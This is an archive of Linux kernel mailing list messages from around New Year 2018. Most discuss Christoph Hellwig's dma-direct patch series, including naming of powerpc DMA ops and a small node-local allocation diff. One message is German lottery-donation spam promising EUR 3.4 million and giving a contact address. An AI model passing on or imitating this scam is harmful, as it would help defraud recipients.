List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21949 gmane.linux.ports.mips.general:63000 gmane.linux.ports.ia64:28459 gmane.linux.ports.sh.devel:56106 gmane.linux.ports.sparc:27113 gmane.linux.kernel.cross-arch:40852 gmane.linux.ports.hexagon:1468 gmane.linux.kernel.arc:3236 gmane.linux.kernel.metag:1542 gmane.linux.ports.arm.kernel:623032 gmane.linux.ports.parisc:28135 gmane.linux.kernel:2654686 gmane.linux.ports.alpha:4616 gmane.linux.ports.ppc64.devel:151568
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21949>

On Fri, Dec 29, 2017 at 10:52:14AM +0000, Vladimir Murzin wrote:
> Is it available in your dma-mapping.git or somewhere else?

  git://git.infradead.org/users/hch/misc.git dma-direct

Gitweb:

  http://git.infradead.org/users/hch/misc.git/shortlog/refs/heads/dma-direct


From - Thu Nov 08 21:40:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: foundation@gmail.com
Newsgroups: gmane.linux.ports.parisc
Subject: =?utf-8?q?Spende_von_=E2=82=AC_3=2E400=2E000=2C00_EUR?=
Date: Sun, 31 Dec 2017 04:19:14 +0200
Lines: 6
Approved: news@gmane.org
Message-ID: <20171231053749.8699038D37D5@wsbmail01.wsb.wroclaw.pl>
Reply-To: roycockrumpovertyfoundation@gmail.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1514697726 21109 195.159.176.226 (31 Dec 2017 05:22:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 31 Dec 2017 05:22:06 +0000 (UTC)
To: Recipients <foundation@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 31 06:22:01 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eVW4K-0004vm-TV
	for glpp-linux-parisc@m.gmane.org; Sun, 31 Dec 2017 06:21:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750937AbdLaFX6 convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 31 Dec 2017 00:23:58 -0500
Original-Received: from mail.wsb.wroclaw.pl ([95.143.242.162]:42492 "EHLO
        wsbmail01.wsb.wroclaw.pl" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750739AbdLaFX6 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 31 Dec 2017 00:23:58 -0500
X-Greylist: delayed 353 seconds by postgrey-1.27 at vger.kernel.org; Sun, 31 Dec 2017 00:23:58 EST
Original-Received: from localhost (localhost [127.0.0.1])
        by wsbmail01.wsb.wroclaw.pl (Postfix) with ESMTP id 8699038D37D5;
        Sun, 31 Dec 2017 06:37:49 +0100 (CET)
X-Virus-Scanned: Debian amavisd-new at wsbmail01.wsb.wroclaw.pl
Original-Received: from wsbmail01.wsb.wroclaw.pl ([127.0.0.1])
        by localhost (wsbmail01.wsb.wroclaw.pl [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id RZjwd5cIJQHU; Sun, 31 Dec 2017 06:37:49 +0100 (CET)
Original-Received: from [10.21.196.92] (unknown [105.1.201.103])
        by wsbmail01.wsb.wroclaw.pl (Postfix) with ESMTPSA id 288A838D3110;
        Sun, 31 Dec 2017 03:39:28 +0100 (CET)
Content-Description: Mail message body
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28136
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28136>

Hallo, ich Roy Cockrum, 58, aus Knoxville, Tennessee Vereinigte Staaten von Amerika, du hast eine Wohltätigkeitsspende von € 3.400.000,00 EUR, ich gewann die America Lotterie in Amerika im Wert von $ 259,9 Millionen, und ich gebe einen Teil davon Zu fünf glücklichen Leuten und Wohltätigkeitshäusern in Gelübde, um die Armut vor dieser Welt zu beseitigen, ich kämpfe gegen die Armut. Kontaktieren Sie mich für weitere Details: roycockrumpovertyfoundation@gmail.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 16/67] powerpc: rename dma_direct_ to dma_nommu_
Date: Tue, 02 Jan 2018 20:45:30 +1100
Lines: 13
Approved: news@gmane.org
Message-ID: <878tdgtwzp.fsf@concordia.ellerman.id.au>
References: <20171229081911.2802-1-hch@lst.de>
	<20171229081911.2802-17-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514886223 5166 195.159.176.226 (2 Jan 2018 09:43:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Jan 2018 09:43:43 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-cris-kernel-VrBV9hrLPhE@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue Jan 02 10:43:37 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eWJ6a-0000d6-TZ
	for glki-iommu@m.gmane.org; Tue, 02 Jan 2018 10:43:33 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id DE2C9A73;
	Tue,  2 Jan 2018 09:45:34 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 6B551A59
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue,  2 Jan 2018 09:45:34 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from ozlabs.org (ozlabs.org [103.22.144.67])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id B8FC94FA
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue,  2 Jan 2018 09:45:33 +0000 (UTC)
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	by ozlabs.org (Postfix) with ESMTPSA id 3z9q1R2qXFz9sBW;
	Tue,  2 Jan 2018 20:45:31 +1100 (AEDT)
In-Reply-To: <20171229081911.2802-17-hch-jcswGhMUV9g@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21950 gmane.linux.ports.mips.general:63038 gmane.linux.ports.ia64:28460 gmane.linux.ports.sh.devel:56112 gmane.linux.ports.sparc:27125 gmane.linux.kernel.cross-arch:40892 gmane.linux.ports.hexagon:1469 gmane.linux.kernel.arc:3237 gmane.linux.kernel.metag:1543 gmane.linux.ports.arm.kernel:623207 gmane.linux.ports.parisc:28137 gmane.linux.kernel:2655796 gmane.linux.ports.alpha:4619 gmane.linux.ports.ppc64.devel:151586
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21950>

Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org> writes:

> We want to use the dma_direct_ namespace for a generic implementation,
> so rename powerpc to the second best choice: dma_nommu_.

I'm not a fan of "nommu". Some of the users of direct ops *are* using an
IOMMU, they're just setting up a 1:1 mapping once at init time, rather
than mapping dynamically.

Though I don't have a good idea for a better name, maybe "1to1",
"linear", "premapped" ?

cheers

From - Thu Nov 08 21:40:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 16/67] powerpc: rename dma_direct_ to dma_nommu_
Date: Tue, 2 Jan 2018 11:22:35 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <CAMuHMdWWus2kNSOzS94k-3678826W1YjKwCWTquu3hBLZ80cvw@mail.gmail.com>
References: <20171229081911.2802-1-hch@lst.de> <20171229081911.2802-17-hch@lst.de>
 <878tdgtwzp.fsf@concordia.ellerman.id.au>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1514888443 795 195.159.176.226 (2 Jan 2018 10:20:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Jan 2018 10:20:43 +0000 (UTC)
Cc: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org,
        Linux MIPS Mailing List <linux-mips@linux-mips.org>,
        linux-ia64@vger.kernel.org,
        Linux-sh list <linux-sh@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.org>,
        Guan Xuetao <gxt@mprc.pku.edu.cn>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        linux-s390 <linux-s390@vger.kernel.org>,
        linux-c6x-dev@linux-c6x.org,
        "open list:QUALCOMM HEXAGON..." <linux-hexagon@vger.kernel.org>,
        "the arch/x86 maintainers" <x86@kernel.org>,
        arcml <linux-snps-arc@lists.infradead.org>,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-m68k <linux-m68k@lists.linux-m68k.org>,
        patches@groups.riscv.org,
        "open list:METAG ARCHITECTURE" <linux-metag@vger.kernel.org>,
        linux-arm-kernel@lists.infradead.org,
        Michal Simek <m
To: Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Jan 02 11:20:37 2018
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eWJgS-0002vJ-Ud
	for glpi-linux-ia64-2@m.gmane.org; Tue, 02 Jan 2018 11:20:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751331AbeABKWj (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Tue, 2 Jan 2018 05:22:39 -0500
Original-Received: from mail-qk0-f195.google.com ([209.85.220.195]:37408 "EHLO
        mail-qk0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751283AbeABKWh (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Tue, 2 Jan 2018 05:22:37 -0500
Original-Received: by mail-qk0-f195.google.com with SMTP id p13so44838341qke.4;
        Tue, 02 Jan 2018 02:22:36 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=DupaeiNXsDWygiRVgtfsKPUINeaJaV348XGOK9lsg80=;
        b=lCk9wujKfZymYa7JqYtJXtn2/ROYLa/vzw2Okj5z+vUnEEsITFufJ1lwwfIkj3A2YC
         K8++Du8YII+O5w3D4VeU62pmXJejEZND/rQ5mqNkU/X8YoT1y5/JgKF9hqaBXFXeb9c1
         b66Qr5iB8ZDH/Y9WMVq/I3DBRzExUUhvPSXY4yv+Jtzf+jyqjrKFdHoH7Hnkmr+sDktL
         FltAdE4sHBWGAyJ2Dew1ACkDBrbZuV2Fl60t4skSGcJ97Wt98miLsNx+u9GzIABzDrOv
         Bj4VyZD1lKqjUj2EG0VehXHac86unszodSAxbe6DUYol+NQO9HrSKC5uI0IKEzd4KpjI
         4ZmQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=DupaeiNXsDWygiRVgtfsKPUINeaJaV348XGOK9lsg80=;
        b=A9dyT5i8xrz+Jm54y7l4Jts2Lz1LmAXFNNGBKA//wdZuPvCVCSPKcp0gpScNYskOqq
         Sp6DwIPxXVz2Vm8Qojl5OlK9bznY7Ok1zuNNCfJ/hXQHpNVddZWlZR3PB5bW5w3X52Ex
         gHsLMUMJ+NqgS9KM+nM7+h9yuXfak3G3/qiYTkHR9Dvy+1b3gMus5QJm9O4FiID/j3Io
         xdN3+3b4mIFtbTx//HWfRiclvOKkazybC3gM5pLd73maI7e0vasoYZOYYjixVcaPFOV0
         RfAiRghdIehByk7FaBm+bI7UWvL7Y1iSnvX49wMTTfwHvUuXKyMvRdu5epY7BXWXmsLA
         HeJA==
X-Gm-Message-State: AKGB3mLW4aaiKzsjpw1s5cDDLcRM6r3zdk/lVmIG/900vyly6ggD7Rrw
        YEUQSqKB+xW+ZUzC7CSPM3QriQb3dbPYtz65CuA=
X-Google-Smtp-Source: ACJfBotpUn04/iPHRmqXRSAZsei+qXeww2+evIQPQqX9pZWkSC+cn8CI1RCizr+dMgmSftgyTZq2OI1MLeWI2jEYTIk=
X-Received: by 10.55.99.140 with SMTP id x134mr46992825qkb.35.1514888556259;
 Tue, 02 Jan 2018 02:22:36 -0800 (PST)
Original-Received: by 10.237.44.66 with HTTP; Tue, 2 Jan 2018 02:22:35 -0800 (PST)
In-Reply-To: <878tdgtwzp.fsf@concordia.ellerman.id.au>
X-Google-Sender-Auth: bAs4gokVWCk_l9xeOiP8R7Xf4Lg
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28461 gmane.linux.kernel.iommu:21951 gmane.linux.ports.mips.general:63040 gmane.linux.ports.sh.devel:56113 gmane.linux.ports.sparc:27126 gmane.linux.kernel.cross-arch:40893 gmane.linux.ports.hexagon:1470 gmane.linux.kernel.arc:3238 gmane.linux.kernel.metag:1544 gmane.linux.ports.arm.kernel:623219 gmane.linux.ports.parisc:28138 gmane.linux.kernel:2655829 gmane.linux.ports.alpha:4620 gmane.linux.ports.ppc64.devel:151587
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28461>

On Tue, Jan 2, 2018 at 10:45 AM, Michael Ellerman <mpe@ellerman.id.au> wrote:
> Christoph Hellwig <hch@lst.de> writes:
>
>> We want to use the dma_direct_ namespace for a generic implementation,
>> so rename powerpc to the second best choice: dma_nommu_.
>
> I'm not a fan of "nommu". Some of the users of direct ops *are* using an
> IOMMU, they're just setting up a 1:1 mapping once at init time, rather
> than mapping dynamically.
>
> Though I don't have a good idea for a better name, maybe "1to1",
> "linear", "premapped" ?

"identity"?

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: Re: [PATCH 29/67] dma-direct: use node local allocations for coherent memory
Date: Tue, 2 Jan 2018 11:29:10 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <CAMuHMdU0_p4RHSKL891YCgej_L2KM5cxmhXDLXVUBXgWoUosVA@mail.gmail.com>
References: <20171229081911.2802-1-hch@lst.de> <20171229081911.2802-30-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1514888840 27158 195.159.176.226 (2 Jan 2018 10:27:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Jan 2018 10:27:20 +0000 (UTC)
Cc: iommu@lists.linux-foundation.org,
        alpha <linux-alpha@vger.kernel.org>,
        arcml <linux-snps-arc@lists.infradead.org>,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, Cris <linux-cris-kernel@axis.com>,
        "open list:QUALCOMM HEXAGON..." <linux-hexagon@vger.kernel.org>,
        linux-ia64@vger.kernel.org,
        linux-m68k <linux-m68k@lists.linux-m68k.org>,
        "open list:METAG ARCHITECTURE" <linux-metag@vger.kernel.org>,
        Michal Simek <monstr@monstr.eu>,
        Linux MIPS Mailing List <linux-mips@linux-mips.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390 <linux-s390@vger.kernel.org>,
        Linux-sh list <linux-sh@vger.kernel.org>,
        sparclinux <sparclinux@vger.kernel.or
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Jan 02 11:27:14 2018
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1eWJmq-0006bX-HQ
	for glpi-linux-ia64-2@m.gmane.org; Tue, 02 Jan 2018 11:27:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751910AbeABK3O (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Tue, 2 Jan 2018 05:29:14 -0500
Original-Received: from mail-qk0-f194.google.com ([209.85.220.194]:39072 "EHLO
        mail-qk0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751872AbeABK3M (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Tue, 2 Jan 2018 05:29:12 -0500
Original-Received: by mail-qk0-f194.google.com with SMTP id c5so1760319qkg.6;
        Tue, 02 Jan 2018 02:29:11 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=qfjKXtZt+M5JKOq/3qU+LNmrxcg5PJqG2jPHSJt088Q=;
        b=NbZ244SftgiA5W/RcyfKrQSoy2Q7tmtsTwyOyNBGYZTq3MwDsBZ2UiHpEQHGajWfsl
         nnLru9ngeUEqYYJoLrvzdmymhC4+9nfATMh5SroCKTHQOjKyUi+tXT8KWIVMdyzu6xez
         29JogSJd1vaJ42PHcuxi/iM4Z0o6C/5dpvjsFrMZRNzTo0AZj0sX7qy1+MzAtoESZ+Wx
         YDYYpDM0qqeNcEH0BtaTSYFeC8qVC0eh/TuIoy+eLBw5rRrm7KaECEULTNnZALM5Gd2p
         KShnjL6l+g4rB4BIPBdwnAlFyV9s/rpO8Usffm5+iwlOJW+SiuZLxSmPB87WO1yDGl56
         0Lgw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=qfjKXtZt+M5JKOq/3qU+LNmrxcg5PJqG2jPHSJt088Q=;
        b=jKYCC3TIhHs4abKu8uEmMNuCE74dz/T4scehlBqi3mNgdlkW4hL2i192/MXAEUSP+g
         elg8zajgMwuYvdgyceWjRy7HewDeDhJQXVqgqe6VRgZW9k+Kgxzw/zzURZW+/b/8nZl4
         +lPoch7OehG54lTdQYK0FgR3v2tQZYp1knOynrpzUJcErzivzIKlPVhdKByXGwSqjrEY
         v0pqrbMXKsadUrnYHAfFaP5ATMtmhP8A9VoWqXFYbZ5rEYwEB1A0YCFYv6uTjAUtktIF
         G6MAntGrMWndGp68ZClThNfl0SqP8gY7XMV4sZDh7XuKzJI8ngs37RlOmHc3K50+KdU4
         vJgA==
X-Gm-Message-State: AKGB3mKLayszUAyIbaXmMwcICgi8qHhnZh/xSBJNiM13aK4gKfjdP5hN
        62WWR39NsChzSqYy/sKu7fVcot8AQg/MQS44I0Q=
X-Google-Smtp-Source: ACJfBosNH1RDBVToRHUH8e3Jz325i8NnKH7E7ZaJYGNEvf5hnfEy3bdaJSSG1FmoX13TBB8Z9UZ2JFfdImq3g15LkT0=
X-Received: by 10.55.99.140 with SMTP id x134mr47007336qkb.35.1514888951247;
 Tue, 02 Jan 2018 02:29:11 -0800 (PST)
Original-Received: by 10.237.44.66 with HTTP; Tue, 2 Jan 2018 02:29:10 -0800 (PST)
In-Reply-To: <20171229081911.2802-30-hch@lst.de>
X-Google-Sender-Auth: drZoEJHFwEyPr2WG9pptpvwNdUw
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28462 gmane.linux.kernel.iommu:21952 gmane.linux.ports.alpha:4621 gmane.linux.kernel.arc:3239 gmane.linux.ports.arm.kernel:623220 gmane.linux.ports.hexagon:1471 gmane.linux.kernel.metag:1545 gmane.linux.ports.mips.general:63041 gmane.linux.ports.parisc:28139 gmane.linux.ports.ppc64.devel:151588 gmane.linux.ports.sh.devel:56114 gmane.linux.ports.sparc:27127 gmane.linux.kernel.cross-arch:40894 gmane.linux.kernel:2655834
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28462>

Missing patch description explaining why this change is desirable.

On Fri, Dec 29, 2017 at 9:18 AM, Christoph Hellwig <hch@lst.de> wrote:
> --- a/lib/dma-direct.c
> +++ b/lib/dma-direct.c
> @@ -39,7 +39,7 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
>         if (gfpflags_allow_blocking(gfp))
>                 page = dma_alloc_from_contiguous(dev, count, page_order, gfp);
>         if (!page)
> -               page = alloc_pages(gfp, page_order);
> +               page = alloc_pages_node(dev_to_node(dev), gfp, page_order);
>         if (!page)
>                 return NULL;
>

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
